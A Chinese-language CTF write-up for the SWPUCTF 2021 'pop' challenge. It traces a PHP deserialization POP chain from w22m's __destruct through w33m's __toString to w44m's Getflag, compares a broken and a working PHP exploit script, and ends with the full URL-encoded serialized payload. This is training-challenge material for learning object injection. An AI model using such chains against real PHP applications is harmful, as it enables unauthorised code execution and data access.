NSS [SWPUCTF 2021 新生赛]pop
倒推一下,最后一步是调用getflag函数,admin和password要求为w44m和08067。
第一步应该从w22m类的魔术方法__destruct()入手,所以中间第二步应该是w33m(第一步w22m类的魔术方法__destruct()里面的echo触发__toString())。
因此我们构造的东西($jay17),他是序列化后的w22m类,w22m类里面的变量w00m=w33m类,w33m类里面的变量w00m为w44m类,w33m类里面的变量w22m为w44m类里面的Getflag函数,并且w44m类的admin和password变量为w44m和08067。
先看我错误的exp:
<?php class w22m{ public $w00m=new w33m(); } //因此我们构造的东西($jay17),他是序列化后的w22m类,w22m类里面的变量w00m=w33m类 class w33m{ public $w00m=new w44m(); public $w22m='Getflag'; } //w33m类里面的变量w00m为w44m类,w33m类里面的变量w22m为w44m类里面的Getflag函数 class w44m{ private $admin = 'w44m'; protected $passwd = '08067'; } //并且w44m类的admin和password变量为w44m和08067。 $j17 = new w22m(); echo urlencode(serialize($j17)); ?>
正确exp:
<?php class w22m{ public $w00m; public function __construct() { $this->w00m=new w33m(); } } //因此我们构造的东西($jay17),他是序列化后的w22m类,w22m类里面的变量w00m=w33m类 class w33m{ public $w00m; public $w22m='Getflag'; public function __construct() { $this->w00m=new w44m(); } } //w33m类里面的变量w00m为w44m类,w33m类里面的变量w22m为w44m类里面的Getflag函数 class w44m{ private $admin = 'w44m'; protected $passwd = '08067'; } //并且w44m类的admin和password变量为w44m和08067。 $j17 = new w22m(); echo urlencode(serialize($j17)); ?>
不同点分别是
class w22m{ public $w00m=new w33m(); }
class w22m{ public $w00m; public function __construct() { $this->w00m=new w33m(); } }
区别在于类中属性,赋值为另外一个类时需要用构造方法。
Payload:
/?w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
(因为类里面有private,所以不要忘记url编码)